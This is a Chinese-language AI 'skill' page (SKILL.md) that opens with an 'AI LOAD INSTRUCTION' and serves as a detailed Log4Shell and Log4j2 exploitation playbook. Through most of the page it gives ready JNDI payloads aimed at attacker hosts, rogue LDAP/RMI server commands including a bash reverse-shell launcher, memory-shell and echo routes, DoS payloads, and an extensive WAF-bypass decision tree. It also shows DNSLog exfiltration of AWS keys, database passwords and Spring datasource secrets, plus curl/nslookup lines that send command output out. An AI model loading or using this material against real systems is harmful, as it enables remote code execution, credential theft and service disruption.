Log4Shell(CVE-2021-44228)深度利用技能

SkillSecurity

Log4Shell(CVE-2021-44228)及 Log4j2 全漏洞家族深度利用专业技能:JNDI Lookup 全链路原理与利用、全变体家族(44228/45046/45105/44832/4104)、现代 JDK 高版本绕过矩阵(8u191/17/21+)、Lookup 扩展攻击面(env/sys/ctx/k8s 信息泄露)、WAF 绕过全技术、不出网利用、供应链场景、Log4Shell→RCE→内网渗透完整链、带内/带外检测方法论、AI 大模型辅助攻防

Available today. Use it from your connected AI after setup.

Connect ahel once, and every AI you use reads what you have installed.

Then ask your AI: use the Log4Shell(CVE-2021-44228)深度利用技能 skill

What this skill tells your AI

The instructions your AI receives, as published by langbyyi/cyberstrikeai-src in skills/log4shell-exploitation/SKILL.md and read by ahel’s review.

AI LOAD INSTRUCTION: Log4Shell(CVE-2021-44228)全链路利用专家打法。按已知前提:JNDI 注入原理(细节见 jndi-injection 细分包)。聚焦触发面发现→JDK 版本判定→高版本绕过矩阵→不出网利用→变体 WAF 对抗。

概述

Log4Shell 是 Apache Log4j2 日志组件中被低估的"消息模板引擎"所引入的远程代码执行漏洞(CVSS 10.0),影响 Log4j 2.0-beta9 至 2.14.1,被公认为影响面最广的 Java 漏洞。2021 年底爆发后,攻击者数小时内便将其武器化,蠕虫、挖矿木马、勒索软件蜂拥而至,CISA/FBI/NSA 联合发出紧急通告。时至今日(2026 年),仍有约 3% 的存量 Java 系统因遗留依赖、不完整修复或供应链间接引入而持续暴露。

本技能站在资深攻防专家视角,系统化覆盖漏洞探测→JNDI 利用→全变体家族→JDK 版本绕过→Lookup 攻击面→不出网利用→WAF 绕过→供应链排查→RCE→内网渗透→检测方法论→AI 辅助攻防完整攻击链,既是红队实战手册,也是蓝队检测与修复的对照参考。

核心概念

  • Message Lookup(消息 Lookup):Log4j2 在格式化日志消息时,对 ${...} 语法做递归求值${jndi:...} 只是其中一种内置 Lookup,全部内置 Lookup 见第五章
  • JNDI(Java Naming and Directory Interface):Java 的命名/目录服务抽象层,支持 LDAP/RMI/DNS/CORBA/IIOP 等协议。Log4j2 的 JndiLookup 把用户可控字符串直接交给 InitialContext.lookup(),导致不可信日志内容驱动 JNDI 解析
  • Reference(引用):LDAP/RMI 服务器可返回一个 Reference 对象,指向远程 codebase 上的恶意类;旧版 JDK 会无条件下载并实例化 → RCE
  • PatternLayout 与配置 Lookup:日志输出模板(如 %X{loginId}${ctx:loginId})中的 Lookup 与消息 Lookup 是两条独立求值分支,CVE-2021-45046/45105 正源于此
  • 信任开关com.sun.jndi.ldap.object.trustURLCodebasecom.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.ldap.object.trustSerialData 三个 JVM 属性决定 JNDI 攻击能否成功,详见第四章绕过矩阵
  • 关键教训:任何用户可控数据进入任何日志记录点(哪怕只是 INFO 级、哪怕只记录访问日志)即可能触发。攻击面不是"有没有日志",而是"日志记录了什么"

安全演进时间线

时间事件说明
2016BlackHat 议题公开 JNDI 注入根因先于 Log4Shell 五年被公开
2021-11-24阿里云安全团队发现并报告漏洞代号 Log4Shell
2021-12-01首次野外利用被观测攻击面快速武器化
2021-12-05Log4j 2.15.0 发布修复不完整(仅禁 JNDI 消息 Lookup)
2021-12-09PoC 大规模公开Checkpoint 观测日均 40 万次攻击
2021-12-10CVE-2021-45046 披露2.15.0 绕过:PatternLayout+ctx Lookup 仍可 RCE;2.16.0 修复
2021-12-14CVE-2021-45105 披露递归 Lookup 导致 StackOverflowError DoS;2.17.0 修复
2021-12-15CVE-2021-4104 披露Log4j 1.x JMSAppender 反序列化 RCE,1.x 已 EOL 无补丁
2021-12-28CVE-2021-44832 披露2.17.0 的 JDBCAppender 配置反序列化 RCE;2.17.1 修复
2022+变体武器化持续Muhstik/Mirai 僵尸网络、挖矿木马、勒索利用
2025-2026存量暴露持续遗留系统+隐藏依赖+不完整修复,Scan 工具与 WAF 绕过仍是攻防焦点

影响范围

  • Log4j 2.0-beta9 ≤ version ≤ 2.14.1(CVE-2021-44228 本体)
  • Log4j 2.x < 2.16.0(CVE-2021-45046);2.x < 2.17.0(CVE-2021-45105);2.17.0(CVE-2021-44832)
  • Log4j 1.x 全版本(CVE-2021-4104,EOL)
  • JDK 6u211 / 7u201 / 8u191 / 11.0.1 之前:LDAP+RMI 均可直接利用;更高版本需绕过(见第四章)

一、漏洞探测与指纹识别

1.1 注入点全集

所有用户可控输入都是潜在注入点:

# HTTP 层
- URL 路径与查询参数(含 404 记录路径)
- POST Body(form/json/xml/multipart)
- HTTP Headers(User-Agent/X-Forwarded-For/Referer/Cookie/Authorization/X-Api-Version)
- TLS SNI / HTTP 方法名(被访问日志记录)
- 上传文件名/附件名

# 业务层
- 用户名/密码(登录失败日志,经典注入点)
- 搜索关键词(搜索日志)
- API 参数(请求/响应日志)
- 错误消息(异常日志)
- 聊天消息(Minecraft/IM 类)

# 协议层
- SMTP 邮件头(Subject/From/To)
- SIP/VoIP 头
- LDAP 查询参数
- XMPP 消息
- MDC/ThreadContext 输入(配合 ${ctx:} 配置)

# 云原生层
- Pod/容器名、命名空间、标签(k8s lookup 场景)
- 配置中心下发的动态配置

1.2 DNSLog 带外探测(首选)

基础探测:

${jndi:ldap://xxxxx.dnslog.cn/exp}
${jndi:rmi://xxxxx.dnslog.cn/exp}
${jndi:dns://xxxxx.dnslog.cn/exp}
${jndi:iiop://xxxxx.dnslog.cn/exp}

# DNS-only 探测是最可靠信号:出站 DNS 通常比 LDAP/RMI 更少被 egress 过滤
${jndi:dns://uid-xxxx.oast.example/x}

每个注入点使用唯一子域名,便于归因到具体字段:

curl https://target.example/ \
  -H 'User-Agent: ${jndi:ldap://uid-001.dnslog.cn/ua}' \
  -H 'Referer: ${jndi:ldap://uid-002.dnslog.cn/ref}' \
  -H 'X-Forwarded-For: ${jndi:ldap://uid-003.dnslog.cn/xff}' \
  -H 'X-Api-Version: ${jndi:ldap://uid-004.dnslog.cn/api}'

1.3 嵌套外带与版本指纹

嵌套探测(绕过简单过滤 + 外带环境信息):

${jndi:ldap://${env:HOSTNAME}.xxxxx.dnslog.cn/exp}
${jndi:ldap://${sys:java.version}.xxxxx.dnslog.cn/exp}
${jndi:ldap://${sys:java.vendor}.xxxxx.dnslog.cn/exp}
${jndi:ldap://${sys:os.name}.xxxxx.dnslog.cn/exp}
${jndi:ldap://${sys:user.name}.xxxxx.dnslog.cn/exp}
${jndi:ldap://${date:yyyy-MM-dd}.xxxxx.dnslog.cn/exp}

版本指纹:

${jndi:ldap://${sys:java.class.path}.dnslog.cn/a}
# 从 ClassPath 识别 log4j 版本:log4j-core-2.14.1.jar → 存在漏洞
# 但注意:若只有 log4j-api 无 log4j-core,则不触发(核心逻辑在 core)
${jndi:ldap://${sys:java.runtime.version}.dnslog.cn}
# 1.8.0_292 → JDK 8u292(需绕过);1.8.0_181 → 可直接利用

错误响应判断:

${jndi:ldap://invalid-host:1389/test}
# 观察响应时间(DNS 解析超时)与错误堆栈,堆栈中常泄露 log4j 类名与版本

1.4 已知受影响系统

系统/产品注入点备注
VMware vCenter登录用户名多个 CVE,历史上被 APT 大规模利用
VMware Horizon认证请求
Apache Solr查询参数Solr 7.x/8.x
Apache Struts2S2-062 参数
Apache FlinkREST API
Apache Druid查询参数
Apache Kafka/Strimzi日志字段云原生场景高频命中
Cisco UnifiedSIP 头
Fortinet FortiADC日志字段
SonicWall管理界面
Minecraft (Java)聊天消息触发最早的大众化利用场景
iCloud / Tesla / Apple设备名称/车载系统
各类 WAF/IDS/日志平台日志字段安全产品自身也是受害者
Elasticsearch/Logstash日志收集字段日志链路自身可成为传播通道

二、JNDI 注入利用原理与完整利用链

2.1 JNDI 与 Lookup 机制原理

用户输入 ${jndi:ldap://attacker/exploit} 进入日志字段
  → Logger.info/error(...) 触发 Message Lookup 递归求值
  → StrSubstitutor 识别 ${jndi:...} 前缀,路由到 JndiLookup
  → JndiManager.lookup("ldap://attacker/exploit")
  → InitialContext.lookup() 连接攻击者 LDAP/RMI 服务器
  → 服务器返回 Reference / 序列化对象
  → 客户端实例化恶意类 / 反序列化 Gadget → RCE

注意:Log4j 递归解析最多 16 层;2.15.0 修复了 JNDI 消息 Lookup 但未修复配置 Lookup 分支(CVE-2021-45046)。

2.2 LDAP 利用链(标准出网,首选)

搭建 JNDI 服务器:

# marshalsec(经典工具)
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://attacker:8888/#Exploit 1389

# JNDIExploit(推荐,内置多利用链)
java -jar JNDIExploit.jar -i attacker_ip -p 8888

# Rogue-Jndi(高版本 JDK 绕过)
java -jar rogue-jndi.jar -c "bash -c {echo,base64_cmd}|{base64,-d}|{bash,-i}" -n attacker_ip

# JNDIMap(新一代全功能,支持多协议+多种高版本 JDK 绕过)
java -jar JNDIMap.jar -i attacker_ip -r 1099 -l 1389 -p 3456

# ysoserial(JRMP 服务,配合序列化链)
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "calc.exe"

触发利用:

${jndi:ldap://attacker:1389/exploit}
${jndi:ldap://attacker:1389/TomcatBypass/Command/Base64_encoded_cmd}
${jndi:ldap://attacker:1389/TomcatEchoInject}           # Tomcat 回显
${jndi:ldap://attacker:1389/TomcatMemShell1}            # Tomcat 内存马
${jndi:ldap://attacker:1389/SpringEcho}                 # Spring 回显
${jndi:ldap://attacker:1389/SpringMemShell}             # Spring 内存马

2.3 RMI 利用链

${jndi:rmi://attacker:1099/exploit}

# marshalsec RMI 服务器
java -cp marshalsec.jar marshalsec.jndi.RMIRefServer http://attacker:8888/#Exploit 1099

RMI 注意点:8u121 起 RMI codebase 加载已被限制(早于 LDAP 的 8u191),因此现代 JDK 下优先用 LDAP 而非 RMI;RMI 配合 JRMPListener + 本地 Gadget 反序列化在部分场景仍有效。

2.4 IIOP/CORBA 利用链

${jndi:iiop://attacker:1050/exploit}
# IIOP 依赖目标具备 CORBA 运行时(Weblogic 等),无需 codebase 即可反序列化
# 探测阶段用 DNS 协议验证 Lookup 机制即可,实战优先 LDAP

2.5 利用链选择矩阵

链名适用环境依赖说明
标准 ReferenceJDK<8u191直接远程类加载
TomcatBypassTomcatel-api+el-implELProcessor 绕过(Tomcat<8.5.79)
Groovy Bypass有 groovy 依赖groovyBeanFactory+GroovyShell
SnakeYaml Bypass有 snakeyaml 依赖snakeyamlBeanFactory+Yaml.load
LDAP 序列化链任意本地 CC/CB 等 Gadget返回 javaSerializedData 触发反序列化
JRMP 链任意本地 GadgetRMI 反序列化
JDBC 链DBCP/Hikari/Druid对应连接池高版本 JDK 新思路(见 4.5)
TomcatEchoInject/SpringEcho对应中间件命令回显
TomcatMemShell1-3/SpringMemShell对应中间件内存马持久化

三、Log4Shell 全变体家族

3.1 变体总览

CVECVSS类型影响版本修复版本触发条件
CVE-2021-4422810.0RCE2.0-beta9 ~ 2.14.12.15.0(不完整)消息 Lookup 含 jndi
CVE-2021-450469.0RCE/信息泄露2.x < 2.16.02.16.0非默认 PatternLayout + ctx Lookup + MDC 可控
CVE-2021-451057.5DoS2.x < 2.17.02.17.0递归 Lookup → StackOverflowError
CVE-2021-448326.6RCE2.17.02.17.1攻击者可控 log4j2 配置 + JDBCAppender
CVE-2021-41047.5RCE1.x 全版本(EOL)无(迁移 2.x)可控配置 + JMSAppender + JMS 消息

3.2 CVE-2021-44228(Log4Shell 本体)

要点:消息内容中的 ${jndi:...} 无条件触发 JNDI Lookup,与日志级别、是否默认配置无关。攻击者只需把 payload 送入任意被记录的输入。

${jndi:ldap://attacker:1389/Exploit}

3.3 CVE-2021-45046(2.15.0 修复绕过)

核心差异:2.15.0 仅在消息 Lookup 分支禁用 JNDI,但**配置 Lookup(PatternLayout 模板)**分支的 JNDI 仍可用。当日志配置使用非默认 PatternLayout 且包含 Context Lookup(如 ${ctx:loginId})时,攻击者把 ${jndi:...} 塞入 MDC/ThreadContext 输入(登录名等)即可绕过:

# 配置样例(存在该配置才可利用)
<PatternLayout pattern="%d %p %c{1.} [%t] ${ctx:loginId} %m%n"/>

# 攻击者在 loginId 输入中注入
ThreadContext.put("loginId", "${jndi:ldap://attacker:1389/Exploit}")

# HTTP 场景:登录用户名字段
Username: ${jndi:ldap://attacker:1389/Exploit}

利用思路:先探测目标日志配置是否含 ${ctx:} 模板(观察日志输出特征/响应差异),再决定走消息 Lookup 还是配置 Lookup 分支。

3.4 CVE-2021-45105(递归 Lookup DoS)

原理:Log4j 对 Lookup 做递归求值但无深度防护(2.17.0 前),自引用/互引用 Lookup 导致无限递归 → StackOverflowError → 进程崩溃。无需出网即可造成 DoS,是"打不死也能咬一口"的备选手段:

# 自引用(经 MDC/ctx 注入)
${ctx:loginId}
# 若 loginId = ${ctx:loginId} 即无限递归

# 直接递归 jndi
${jndi:ldap://attacker:1389/${jndi:ldap://attacker:1389/${jndi:ldap://attacker:1389/...}}}

3.5 CVE-2021-44832(JDBCAppender 配置反序列化)

原理:Log4j 2.17.0 的 JDBCAppender 支持通过配置加载任意 DataSource(含 JNDI DataSource),若攻击者能控制 log4j2 配置文件(任意文件写入、配置中心投毒、其他漏洞组合),可让 JDBCAppender 指向恶意 JNDI 数据源触发 RCE。利用前提是配置可控,属于"需要一次先行漏洞/写文件能力"的复合链,详见第八章。

3.6 CVE-2021-4104(Log4j 1.x JMSAppender)

原理:Log4j 1.x 的 JMSAppender 会对收到的 JMS 消息执行反序列化(不校验类型),攻击者控制配置 + 向目标 JMS 队列投递恶意序列化对象 → RCE。1.x 已 EOL 无官方补丁,只能升级 2.x 或移除 JMSAppender

# 1.x 配置存在 JMSAppender 即为风险
<appender name="JMS" class="org.apache.log4j.net.JMSAppender">
  <param name="TopicConnectionFactoryBindingName" value="..."/>
</appender>

3.7 相关生态漏洞

  • Logback CVE-2021-42550:Log4j 前传者的 JNDI 问题(logback 1.2.7 前),同样的 JNDI 模式
  • Log4j 2.17.1 后续:2.17.2+ 仍有若干中低危(如 CVE-2022-23302/23305/23307),建议一律 >= 2.17.1
  • log4j-core 缺失时的误判:仅引入 log4j-api 不触发 JNDI(核心在 core 包),扫描时注意区分

四、现代 JDK 版本下的绕过矩阵

4.1 JDK 限制演进

JDK < 8u121        RMI codebase 可加载远程类
JDK 8u121          RMI trustURLCodebase 默认 false(修复 RMI)
JDK 8u191/11.0.1   LDAP trustURLCodebase 默认 false(修复 LDAP)
JDK 21             com.sun.jndi.ldap.object.trustSerialData 默认 false(修复 LDAP 反序列化)

4.2 绕过矩阵(>=8u191 核心)

JDK 版本LDAP codebaseRMI codebaseLDAP trustSerialData首选绕过思路
<6u211/7u201/8u191/11.0.1允许允许允许直接 Reference 远程类
8u121 ~ 8u191允许禁止允许LDAP Reference(RMI 不可用)
8u191+ ~ 16禁止禁止允许LDAP 序列化对象 + 本地 Gadget / BeanFactory
JDK 17禁止禁止允许BeanFactory(Groovy/SnakeYaml) / 本地 Gadget
JDK 21+禁止禁止默认禁止Reference-only 绕过 / NativeLibLoader / MLet / JDBC 链

4.3 LDAP 序列化反序列化绕过(本地 Gadget)

原理trustURLCodebase=false 只禁止远程类加载,但 LDAP 响应中的 javaSerializedData 属性仍会被反序列化(直到 JDK 21 才默认关闭)。返回序列化的恶意对象 → 触发目标本地反序列化 Gadget:

# 条件:目标存在 CC/CB 等反序列化链依赖
# JNDIExploit:marshalsec LDAP + 序列化数据
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer CommonsCollections6 "calc.exe"

# JNDIMap 显式反序列化路由
${jndi:ldap://attacker:1389/Deserialize/CommonsCollections6/<base64-url-cmd>}

4.4 BeanFactory + ELProcessor / Groovy / SnakeYaml(高版本 JDK 首选)

原理org.apache.naming.factory.BeanFactory(Tomcat<8.5.79 内置)是本地类,其 getObjectInstance() 支持以 forceString 属性指定任意 setter 为静态方法调用——把 ELProcessor 的 eval 当 setter 触发,即可执行任意 EL 表达式。全程无远程类加载、无 trustSerialData 依赖,JDK 21 仍有效

# EL 表达式:执行命令
"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('id')")

# 或通用 ProcessBuilder
new java.lang.ProcessBuilder(new String[]{"/bin/sh","-c","id"}).start()

# JNDIExploit / JNDIMap 一键路由
${jndi:ldap://attacker:1389/TomcatBypass/Command/Base64_encoded_cmd}
${jndi:ldap://attacker:1389/GroovyBypass/Command/base64_url_cmd}   # 需 groovy
${jndi:ldap://attacker:1389/SnakeYamlBypass/Command/base64_url_cmd} # 需 snakeyaml

局限:BeanFactory 依赖 Tomcat 环境(Tomcat < 8.5.79),无 Tomcat 时退化为 4.3 序列化链或 4.5 新思路。

4.5 JDK 21+ 新限制与对抗(2025 前沿)

trustSerialData 默认关闭后,LDAP 不再反序列化 javaSerializedData,旧有"LDAP 序列化对象"套路失效。当前对抗思路:

  1. Reference-only(JNDIMap -useReferenceOnly:LDAP 直接以属性形式返回 Reference 对象,绕过对序列化数据的限制(RMI/LDAP 均可)
  2. JDBC 链:让目标连接恶意 JDBC URL(MySQL/PostgreSQL/H2)触发驱动内反序列化/SSRF——完全绕开 JNDI trust 限制,是 2022 后 JNDI 绕过的延伸方向:
    • H2 RCE:jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://attacker/poc.sql'
    • PostgreSQL CVE-2022-21724:socketFactory 指向 Spring ClassPathXmlApplicationContext 加载远程 XML
  3. NativeLibLoader:返回 native 库引用触发本地动态库加载
  4. MLet:探测可用 class 后组合利用
# JNDIMap JDBC 示例(目标有连接池可控 JDBC URL 的场景)
ldap://127.0.0.1:1389/TomcatJDBC/Command/base64_url_cmd
ldap://127.0.0.1:1389/DBCP/Command/base64_url_cmd
ldap://127.0.0.1:1389/HikariCP/Command/base64_url_cmd
ldap://127.0.0.1:1389/Druid/Command/base64_url_cmd

4.6 JDK 版本探测

${jndi:ldap://${sys:java.version}.xxxxx.dnslog.cn}
# 1.8.0_292 → 需要绕过;1.8.0_181 → 直接利用
${jndi:ldap://${sys:java.runtime.version}.xxxxx.dnslog.cn}
${jndi:ldap://${sys:java.vm.vendor}.xxxxx.dnslog.cn}
# 用 ${sys:java.version}.${sys:java.runtime.version} 组合压缩探测轮次

五、Lookup 扩展攻击面与信息泄露

5.1 Lookup 家族

Lookup数据来源攻击价值
${env:VAR}环境变量数据库口令/AWS 密钥/令牌(最高价值)
${sys:prop}JVM 系统属性JDK 版本/ClassPath/用户名/OS
${java:...}JVM 内部信息runtime/version/vm 信息
${ctx:key}ThreadContext/MDC会话/请求上下文数据(CVE-45046 入口)
${spring:...}Spring 配置数据源密码等(Spring Boot 环境)
${bundle:...}ResourceBundle配置文件内容
${map:key}MapMessage消息附属数据
${main:...}启动参数命令行参数
${k8s:...}Kubernetes 元数据集群名/命名空间/容器名(需 log4j-kubernetes)
${docker:...}Docker secret容器密钥文件(需 log4j-docker)
${sd:...}系统数据OS 发行版等
${date:...} / ${lower:} / ${upper:} / ${::-}转换主要用于 WAF 绕过与嵌套

5.2 环境/系统信息泄露(env/sys)

# 环境变量外带(无需 RCE,仅触发 Lookup 即泄露)
${jndi:ldap://${env:AWS_ACCESS_KEY_ID}.xxxxx.dnslog.cn}
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.xxxxx.dnslog.cn}
${jndi:ldap://${env:DATABASE_PASSWORD}.xxxxx.dnslog.cn}
${jndi:ldap://${env:SECRET_KEY}.xxxxx.dnslog.cn}
${jndi:ldap://${env:KUBERNETES_SERVICE_HOST}.xxxxx.dnslog.cn}
${jndi:ldap://${env:PATH}.xxxxx.dnslog.cn}

# 系统属性外带
${jndi:ldap://${sys:java.class.path}.xxxxx.dnslog.cn}   # ClassPath→版本指纹
${jndi:ldap://${sys:user.name}.xxxxx.dnslog.cn}
${jndi:ldap://${sys:user.home}.xxxxx.dnslog.cn}
${jndi:ldap://${sys:os.name}.${sys:os.arch}.${sys:os.version}.xxxxx.dnslog.cn}

5.3 应用配置泄露(spring/bundle/map)

# Spring Boot:application.properties / yml 中的敏感键
${jndi:ldap://${spring:application.name}.xxxxx.dnslog.cn}
${jndi:ldap://${spring:spring.datasource.url}.xxxxx.dnslog.cn}
${jndi:ldap://${spring:spring.datasource.password}.xxxxx.dnslog.cn}

# 需先探明可用键:${spring:} 对未知键返回原样,逐个枚举常见键名
# ResourceBundle 读配置(已知 bundle 名时)
${jndi:ldap://${bundle:application:database.password}.xxxxx.dnslog.cn}

5.4 云原生泄露(k8s/docker)

# 需 log4j-kubernetes 组件(2.13.0+ 官方支持)
${jndi:ldap://${k8s:clusterName}.xxxxx.dnslog.cn}
${jndi:ldap://${k8s:namespace}.xxxxx.dnslog.cn}
${jndi:ldap://${k8s:containerName}.xxxxx.dnslog.cn}
${jndi:ldap://${k8s:podName}.xxxxx.dnslog.cn}

# Docker secret(log4j-docker 组件)
${jndi:ldap://${docker:secret:...}.xxxxx.dnslog.cn}
# 结合云元数据:拿到 Pod 权限后可访问 169.254.169.254 云厂商 IAM

5.5 线程上下文(ctx)与 CVE-2021-45046

# ctx Lookup 是 CVE-2021-45046 的入口,也是信息泄露通道:
# 若 PatternLayout 含 ${ctx:xxx},攻击者可控 MDC 值时直接:
ThreadContext.put("loginId", "${jndi:ldap://${env:DATABASE_PASSWORD}.dnslog.cn}")
# 注意:ctx 值在被写回模板时会再次 Lookup 求值 → 泄露 env

5.6 信息外带组合技

# 一次请求多字段外带(提升效率)
${jndi:ldap://${env:HOSTNAME}.${env:USER}.${sys:java.version}.dnslog.cn}

# 命令执行后的结果外带(配合 RCE)
# 目标执行:curl http://dnslog.cn/$(whoami | base64)
# 或:whoami | xxd -p | tr -d '\n' | xargs -I{} nslookup {}.dnslog.cn

# 注意 DNS 标签长度限制(63 字符/段),超长需 base64 分段

六、不出网利用

6.1 不出网场景判定

1. DNSLog 无响应 → 目标完全不出网
2. LDAP/RMI 连接失败但 DNS 通 → 仅 DNS 出网
3. 仅允许内网 → 内网部署 JNDI 服务器
4. 完全不出网 → 本地 Gadget / 文件写入 / DoS

6.2 DNS 隧道外带命令执行结果

# 目标执行命令并通过 DNS 外带结果(每段≤63字符)
# whoami | xxd -p | tr -d '\n' | head -c 63 | xargs -I{} nslookup {}.dnslog.cn
${jndi:ldap://attacker:1389/Command/Base64_bash_reverse_dns}

6.3 内网 JNDI 服务器 + 本地 Gadget

条件:
- 目标与内网某主机可达(可通过 SSRF/反序列化先打下一台内网主机部署 JNDI)
- 目标存在 CC/CB/C3P0 等反序列化链依赖

流程:
1. 通过其他漏洞(Fastjson/Weblogic/SSRF)在内网主机部署恶意 LDAP/RMI 服务
2. 生成匹配目标依赖的 Gadget 链
3. LDAP 返回序列化数据 → Log4j 反序列化 → RCE

6.4 回显利用(不出网 RCE)

# Tomcat 环境:JNDIExploit TomcatEchoInject
${jndi:ldap://attacker:1389/TomcatEchoInject}
# 注入后通过特定 Header 传命令,响应回显

# Spring Boot:SpringEcho
${jndi:ldap://attacker:1389/SpringEcho}

# 内存马 + 冰蝎/哥斯拉/Suo5:无回显时的持久化交互方案
${jndi:ldap://attacker:1389/TomcatMemShell1?path=/api/v1/health&pass=key123}

6.5 DoS 利用(无 RCE 兜底)

# 1. 递归解析 CPU/栈耗尽(CVE-2021-45105)
${jndi:ldap://attacker:1389/${jndi:ldap://attacker:1389/${jndi:ldap://attacker:1389/...}}}
${${::-${::-${::-${::-${::-${::-j}}}}}}}
# 2. 无限循环嵌套
# 3. 高耗时 LDAP 服务器拖延线程(配合并发可耗尽连接池)
# 注意:DoS 手段谨慎使用,属于破坏性测试,需授权确认

6.6 文件写入利用

# Lookup 本身不能写文件,但可利用 RCE 或配置漏洞组合:
# 1. RCE 后:echo payload > webroot/shell.jsp
# 2. 配置文件可控(CVE-2021-44832 前置):改写 log4j2.xml 加载恶意 Appender
# 3. ${bundle:} 读取资源 → 结合路径穿越写回
# 不出网写文件的直接手段依赖本地 Gadget 链(如 TemplatesImpl 变形),参照 Fastjson 技能

七、WAF 绕过全技术

7.1 关键字拆分与嵌套(核心原理)

Log4j2 递归求值 ${...},且 Lookup 名称本身可被嵌套 Lookup 拼接——这是绕 WAF 的根本武器:

# 基础拆分:把 jndi 拆成 ${lower:j}ndi
${${lower:j}ndi:ldap://attacker/exp}
${${lower:j}${lower:n}${lower:d}${lower:i}:ldap://attacker/exp}
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker/exp}

# 分隔符(:、//)同样可嵌套拼接
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker/exp}

# 多层嵌套
${${lower:${lower:j}}ndi:ldap://attacker/exp}
${${env:TEST:-${env:TEST:-${env:NaN:-j}}}ndi:ldap://attacker/exp}

7.2 编码绕过

# URL 编码
%24%7Bjndi%3Aldap%3A%2F%2Fattacker%2Fexp%7D

# Unicode 编码(仅对值部分,Lookup 名称不做 Unicode 解码)
${jndi:\u006cdap://attacker/exp}      # \u006c = l
${jndi:ldap://attacker/\u0065xp}

# HTML 实体(表单场景)
&#36;&#123;jndi:ldap://attacker/exp&#125;

# Base64 分段 + 重组(依赖业务层解码逻辑)
# 双重 URL 编码(WAF 只解一层时)
%2524%257Bjndi%253Aldap%253A...

7.3 分隔符与语法变形

# 制表符/换行/空格插入(部分解析器容忍)
${jndi:l\tda\tp://attacker/exp}
${jn\ndi:ldap://attacker/exp}

# 大小写混合
${jNdI:LdAp://attacker/exp}

# ${::-} prefix lookup 系列(最隐蔽)
${::-j}ndi:${::-l}dap://attacker/exp
${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker${::-:}${::-1}${::-3}${::-8}${::-9}/${::-e}${::-x}${::-p}

# 用无害 Lookup 填充长度,淹没正则
${jndi:ldap://${env:NaN:-attacker}/exp}
${jndi:ldap://${date:yyyy}.attacker/exp}

7.4 协议与注入位置变换

# 协议替换:ldap→rmi→iiop→dns→corba
${jndi:rmi://attacker/exp}
${jndi:iiop://attacker/exp}

# 注入位置替换(从 body 逐步扩散)
User-Agent: ${jndi:ldap://attacker/exp}
X-Forwarded-For: ${jndi:ldap://attacker/exp}
Referer: ${jndi:ldap://attacker/exp}
Cookie: JSESSIONID=${jndi:ldap://attacker/exp}
Authorization: Basic ${jndi:ldap://attacker/exp}
# URL 路径(404 日志记录路径)
GET /${jndi:ldap://attacker/exp} HTTP/1.1
# TLS SNI / 请求方法 / 文件名

7.5 流量层绕过

1. HTTPS 加密(WAF 不解密则失效)
2. 分块传输(Transfer-Encoding: chunked,payload 分散多 chunk)
3. Gzip/Deflate 压缩(部分 WAF 不解压)
4. multipart/form-data 包裹(部分 WAF 不解析 multipart 内 JSON/表单值)
5. HTTP/2 多路复用(部分传统 WAF 不支持)
6. 参数污染(HPP):同名参数一个带 payload 一个正常值
7. 慢速/分布式低频发送(规避速率型检测)

7.6 绕过策略决策树

被拦截?
├─ 是 → ① 拆分关键字(lower/::-/env:NaN)→ ② 编码变换(URL/Unicode/双编码)
│      → ③ 换协议(ldap→rmi→iiop)→ ④ 换位置(Body→Header→Cookie→URL路径)
│      → ⑤ 流量层(chunked/gzip/HTTPS/HTTP2)→ ⑥ 超长填充+深度嵌套
└─ 否 → 确认命中(DNSLog 回调归因)→ 转入利用阶段

八、Log4j2 配置反序列化与其他 RCE 攻击面

8.1 配置注入与 JDBCAppender(CVE-2021-44832)

攻击链:攻击者先获得 log4j2.xml 的改写能力(任意文件写入/配置中心投毒/其他漏洞组合)→ 在配置中插入恶意 JDBCAppender → 加载远程 JNDI DataSource → RCE:

<!-- 恶意配置片段 -->
<Appenders>
  <JDBC name="Evil" tableName="x">
    <DataSource jndiName="ldap://attacker:1389/Exploit"/>
  </JDBC>
</Appenders>
# 触发:正常记录一条日志,JDBCAppender 建立连接即触发 JNDI
# 前置条件:能写配置 + 能触发日志 + JDK 符合利用条件

8.2 JMSAppender(CVE-2021-4104,Log4j 1.x)

# 攻击链:配置含 JMSAppender → 攻击者向 JMS 队列投递序列化恶意对象 → 反序列化 RCE
# 修复:1.x EOL,唯一方案是升级 2.x 或彻底移除 JMSAppender
# 检测:grep 配置中 JMSAppender 出现即告警

8.3 配置 PatternLayout 的 Context Lookup(CVE-2021-45046/45105)

# 非默认配置审计重点(红队侦察目标):
<PatternLayout pattern="%d %p [%t] ${ctx:userId} %m%n"/>
# 含 ${ctx:...} 或 %X{...} 的模板 = CVE-2021-45046 可利用 + CVE-2021-45105 DoS 入口
# 侦察方法:观察日志模板输出;触发后对比响应/行为差异

8.4 其他 RCE 路径汇总

路径前提说明
消息 Lookup JNDI2.14.1 及以下CVE-2021-44228 本体
配置 Lookup JNDI2.15.0 + ctx 模板CVE-2021-45046
JDBCAppender配置可控CVE-2021-44832
JMSAppender1.x + 配置可控CVE-2021-4104
反序列化 Gadget本地依赖与 JNDI 服务器返回序列化数据组合
日志写入→日志分析平台投毒日志管道攻击日志中继链(SIEM/Logstash 二次利用)

九、供应链场景与依赖排查

9.1 间接依赖引入(最隐蔽的暴露面)

# 典型路径:
# 1. 自研 jar 依赖 → 传递依赖引入 log4j-core(Maven 依赖树排查)
mvn dependency:tree -Dincludes=org.apache.logging.log4j

# 2. 第三方 SDK/中间件内置 log4j(老版本厂商包)
#    例:Strimzi/Kafka 生态、IBM 容器备份等均曾携带漏洞版

# 3. fat-jar/shaded jar 内嵌 log4j 类(class 路径无 jar 文件,zip 排查法失效)
# 4. 构建产物/部署包残留:webapps/lib、tomcat/lib、docker 镜像层

9.2 打包与构建产物中的残留

# 全盘 jar 排查(含 fat-jar 内嵌)
find / -name "log4j-core*.jar" 2>/dev/null
# fat-jar 内嵌检测(unzip 列出嵌套 jar)
